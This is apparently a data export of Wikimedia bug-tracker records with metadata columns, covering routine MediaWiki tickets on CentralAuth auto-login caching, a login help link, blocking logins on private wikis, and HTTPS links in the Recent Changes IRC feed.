+239842,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #8)
+> (In reply to comment #6)
+> > Brad, do remember why we add returnto and returntoquery in
+> > centralautologin.js
+> > for non-login pages? It's not used except when we get to the /setCookies
+> > phase,
+> > and there, it only adds a window.location if the request had a 'return'
+> > parameter, which I don't ever see set. So it seems like we're passing it
+> > around
+> > without actually using it.. but am I missing something?
+> 
+> git blame would point you to Gerrit change #83007. The returnto gets used in
+> SkinTemplate.php in core, when it generates the #p-personal replacement.
+
+Ah, thanks. Could we build the correct returnto and update the link in the javascript that we return from /setCookies?",,,1380249085,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,4,True,0,1,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+239836,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86207 abandoned by CSteipp:
+Remove returnto for basic login test
+
+Reason:
+We'll find a better solution
+
+https://gerrit.wikimedia.org/r/86207",,,1380249055,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+239831,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #6)
+> Brad, do remember why we add returnto and returntoquery in
+> centralautologin.js
+> for non-login pages? It's not used except when we get to the /setCookies
+> phase,
+> and there, it only adds a window.location if the request had a 'return'
+> parameter, which I don't ever see set. So it seems like we're passing it
+> around
+> without actually using it.. but am I missing something?
+
+git blame would point you to Gerrit change 83007. The returnto gets used in SkinTemplate.php in core, when it generates the #p-personal replacement.",,,1380244260,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,4,True,0,1,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+239827,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86207 had a related patch set uploaded by CSteipp:
+Remove returnto for basic login test
+
+https://gerrit.wikimedia.org/r/86207",,,1380239889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239826,CentralAuth not caching Special:CentralAutoLogin/start,"Thanks Faidon. In the majority case, the ping to check if the anon user is logged in, we shouldn't need the returnto.. so if that's being added, I think we can fix that.
+
+Brad, do remember why we add returnto and returntoquery in centralautologin.js for non-login pages? It's not used except when we get to the /setCookies phase, and there, it only adds a window.location if the request had a 'return' parameter, which I don't ever see set. So it seems like we're passing it around without actually using it.. but am I missing something?",,,1380239228,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,4,True,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+239822,CentralAuth not caching Special:CentralAutoLogin/start,"CentralAutoLogin traffic is still > 50% of all Apache traffic, so no huge effect there.
+
+CentralAutoLogin/start is 27.5% in my small sample, however this has little to do with caching: all of the URLs are different because of the ""returnto"" query parameter. There is of course benefit with having those cached when ""returnto"" is some popular page (e.g. Main_Page).",,,1380180817,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,4,True,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+239817,CentralAuth not caching Special:CentralAutoLogin/start,"This change has been deployed, and load to eqiad application servers seems to have dropped a bit.
+
+20:31 logmsgbot: csteipp synchronized php-1.22wmf17/extensions/CentralAuth 'update to master for SUL fix'
+20:28 logmsgbot: csteipp synchronized php-1.22wmf18/extensions/CentralAuth 'update to master for SUL fix'",,,1380142461,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+239810,CentralAuth not caching Special:CentralAutoLogin/start,"Faidon, Tim, or Mark, it would be good if you guys could take a look at gerrit 85036 too, and just make sure Brad and my assumptions about squid / varnish are correct. If anything doesn't seem right, let us know asap!",,,1379623676,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,3,True,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+239804,CentralAuth not caching Special:CentralAutoLogin/start,"Change 85036 merged by jenkins-bot:
+Set Squid maxage so proxies will cache
+
+https://gerrit.wikimedia.org/r/85036",,,1379622887,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239798,CentralAuth not caching Special:CentralAutoLogin/start,"Change 85036 had a related patch set uploaded by CSteipp:
+Set Squid maxage so proxies will cache
+
+https://gerrit.wikimedia.org/r/85036",,,1379618889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55888,Link to existing login help page by default from helplogin-url,"helplogin-url is shown in a very prominent place by default and it should point to an existing page to avoid confusing users with links to nonexisting pages, similarly to bug 53862.
+
+We have [[mw:Help:Logging in]], which given the author I assume ok and that can be made translatable when we are comfortable about the quality of its content (it had some ""manual"" translations on Meta). Linking it will help improve it, but it's already better than the default red link.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement",Medium,50.0,1378539120,1395245833.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-addxd43f7bv3gv4au2ws,task_description,resolved,True,c2,3,True,False,False,1,True,1,0,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+245541,Link to existing login help page by default from helplogin-url,"Change 119489 merged by jenkins-bot:
+Link to existing login help page by default from helplogin-url
+
+https://gerrit.wikimedia.org/r/119489",,,1395245317,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,29,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+245534,Link to existing login help page by default from helplogin-url,"Change 119489 had a related patch set uploaded by Nemo bis:
+Link to existing login help page by default from helplogin-url
+
+https://gerrit.wikimedia.org/r/119489",,,1395242959,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+245527,Link to existing login help page by default from helplogin-url,"Thanks MatmaRex and thanks everyone for comments, code review and rebase/unit test help.
+The change was also notified on
+* mediawiki-l (but mailman not helping): http://lists.wikimedia.org/pipermail/mediawiki-l/2014-March/042664.html
+* design: http://lists.wikimedia.org/pipermail/design/2014-March/001694.html",,,1395226239,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,True,,,29,True,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+245522,Link to existing login help page by default from helplogin-url,"Change 83220 merged by jenkins-bot:
+Link to existing login help page by default from helplogin-url
+
+https://gerrit.wikimedia.org/r/83220",,,1395226102,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,29,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+245515,Link to existing login help page by default from helplogin-url,[Bumping TM as MediaWiki 1.22.0 tarball was released today.],,,1386383880,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,True,,,14,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1
+245508,Link to existing login help page by default from helplogin-url,"(In reply to comment #5)
+> By the way, we should agree on a common style for these external links (if we
+> don't have it already). I believe they should have the arrow of external link
+> and open in a new page.
+
+Yes, that's worth a separate bug to standardise old and new ones; add it as a blocker of bug 43591 please. We'll also need a standard icon for the cases where a simple link with label is not possible/appropriate (probably something as the Translate extension does), one more reason to file the bug.",,,1378761544,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,True,,,1,True,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+245500,Link to existing login help page by default from helplogin-url,"By the way, we should agree on a common style for these external links (if we don't have it already). I believe they should have the arrow of external link and open in a new page.",,,1378760730,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+245493,Link to existing login help page by default from helplogin-url,"Good idea. The wiki page needs improvement, thinking that users from other wikis will land there for basic help. Currently for those users the wiki page will look like a wall of text.",,,1378759772,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+245486,Link to existing login help page by default from helplogin-url,"(In reply to comment #2)
+> Sorry but... where helplogin-url linked from in a fresh MediaWiki install?
+> Can't find it.
+
+You can find this sort of information in /qqq: https://translatewiki.net/wiki/MediaWiki:Helplogin-url/qqq
+It's in Special:UserLogin.",,,1378758993,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+245479,Link to existing login help page by default from helplogin-url,Sorry but... where helplogin-url linked from in a fresh MediaWiki install? Can't find it.,,,1378758469,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+245472,Link to existing login help page by default from helplogin-url,"Change 83220 had a related patch set uploaded by Nemo bis:
+Link to existing login help page by default from helplogin-url
+
+https://gerrit.wikimedia.org/r/83220",,,1378539762,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+55871,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"**Author:** `Thehelpfulonewiki`
+
+**Description:**
+In bug 23231 a number of private wikis had wgBlockDisablesLogin set as true. Since then we've had some more private wikis created (such as IEGCom Wiki, Transition Team wiki etc). Instead of requesting this setting to be set on a individual wiki basis, can we just set it to be true for all private wikis?  i.e. Add
+
+'private' => 'true',
+
+to 'wgBlockDisablesLogin' => array(
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1378506360,1378929495.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-saw7lgv4z3na6rmubb3b,task_description,resolved,True,c2,3,False,False,True,1,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+244321,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"Change 83375 merged by jenkins-bot:
+Sets wgBlockDisablesLogin true on private wikis.
+
+https://gerrit.wikimedia.org/r/83375",,,1378925820,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-saw7lgv4z3na6rmubb3b,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+244316,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"Change 83375 had a related patch set uploaded by Dereckson:
+Sets wgBlockDisablesLogin true on private wikis.
+
+https://gerrit.wikimedia.org/r/83375",,,1378679084,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-saw7lgv4z3na6rmubb3b,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244310,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"For reference:
+
+[ Already enabled on ]
+
+arbcom_dewiki
+arbcom_nlwiki
+auditcomwiki
+boardwiki
+chairwiki
+checkuserwiki
+collabwiki
+chapcomwiki
+execwiki
+fdcwiki
+internalwiki
+noboard_chapterswikimedia
+officewiki
+ombudsmenwiki
+otrs_wikiwiki
+stewardwiki
+wikimaniateamwiki
+
+[ This configuration will affect the following wikis ]
+
+arbcom_enwiki
+arbcom_fiwiki
+boardgovcomwiki
+grantswiki
+iegcomwiki
+ilwikimedia
+movementroleswiki
+searchcomwiki
+spcomwiki
+transitionteamwiki
+wg_enwiki",,,1378656062,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-saw7lgv4z3na6rmubb3b,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+55526,Recent Changes IRC feed should link to the HTTPS diff,"With the recent move to push HTTPS, it makes sense to also link to the HTTPS version of diffs in the Recent Changes IRC feed.
+
+To consider:
+Bots that read those feeds might expect HTTP. Can we notify bot operators somehow?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1377764640,1441989602.0,PHID-USER-pwsgofaoir7tnszvfzqi,False,PHID-USER-pwsgofaoir7tnszvfzqi,False,PHID-TASK-jnptklvp2tcfinojknnv,task_description,resolved,True,c2,3,True,True,False,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+525330,Recent Changes IRC feed should link to the HTTPS diff,"This seems to work as expected now, probably because the canonical URLs were changed to https:// a while back.",,,1441989602,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,106,True,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0
+396884,Recent Changes IRC feed should link to the HTTPS diff,"Argh, true. Thanks.",,,1420743487,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,71,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+396811,Recent Changes IRC feed should link to the HTTPS diff,"no, this is about the irc feed",,,1420737177,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,71,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+396802,Recent Changes IRC feed should link to the HTTPS diff,"Going to https://en.wikipedia.org/wiki/Special:RecentChanges and looking at its source via the browser functionality, I see these headers:
+
+```
+<link rel=""copyright"" href=""//creativecommons.org/licenses/by-sa/3.0/"" />
+<link rel=""alternate"" type=""application/atom+xml"" title=""&quot;Special:RecentChanges&quot; Atom feed"" href=""/w/api.php?hidebots=1&amp;days=7&amp;limit=50&amp;hidewikidata=1&amp;action=feedrecentchanges&amp;feedformat=atom"" />
+<link rel=""canonical"" href=""http://en.wikipedia.org/wiki/Special:RecentChanges"" />
+```
+So the Feed URL itself seems to be protocol relative (while the canonical URL is not).
+
+Looking at https://en.wikipedia.org/w/api.php?hidebots=1&days=7&limit=50&hidewikidata=1&action=feedrecentchanges&feedformat=atom
+I see entries like
+  <link rel=""alternate"" type=""text/html"" href=""https://en.wikipedia.org/w/index.php?title=Poutine&amp;diff=641598912&amp;oldid=640756202""/>
+
+Not sure if that fixes this task though?",,,1420736561,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,71,True,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,0,1
+247927,Recent Changes IRC feed should link to the HTTPS diff,"(In reply to Alex Monk from comment #2)
+> Why was this in the Wikimedia product?
+
+Because it has very little to do with MediaWiki core. I don't think this is something MediaWiki core would decide. It uses the canonical server url as configured by the system administrator of the server.
+
+If a wiki wants to promote HTTPS or even enforce by default, they should do so in general. I don't think it makes sense to do so for one very specific arbitrary part of the software (e.g. not page view, not e-mails, not API, but RCFeed, and only the IRC format..).
+
+If Wikimedia wants to make an exception for it, they could do so in wmf-config.
+
+Alternatively, since I'd rather not make breaking changes to IRCRCFormatter, this is probably something individual programs can do.
+
+For example, the Huggle or CVNBot could rewrite urls as HTTPS for their users if their user base is interested in that.",,,1401962943,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,40,True,0,1,1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+247924,Recent Changes IRC feed should link to the HTTPS diff,"@Legoktm - if it is true that it uses the canonical URL, it makes sense to just wait for that change. Is there a bug for that, that this bug should depend on?",,,1377797303,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0
+247920,Recent Changes IRC feed should link to the HTTPS diff,Why was this in the Wikimedia product?,,,1377794113,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+247916,Recent Changes IRC feed should link to the HTTPS diff,"I believe those feeds simply use the canonical url, which is still HTTP.",,,1377789309,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+55306,[[Special:UserLogin]] missing link to signup form when user is logged in,"[[Special:UserLogin]] is missing a link to signup form when user is logged in. This appears to be the intended behavior (per LoginForm#showCreateOrLoginLink), but is rather annoying when a logged-in user wants to create another account.
+
+This is rarely useful on Wikimedia wikis, which have a very open model (although even there sometimes it's useful to e.g. create account for user using banner IP range), but some third-party wikis use a more closed model where only site admins can create accounts – for them it's an important regression, as the previous form always had the link.
+
+(As reported on #mediawiki a few minutes ago.)
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53447
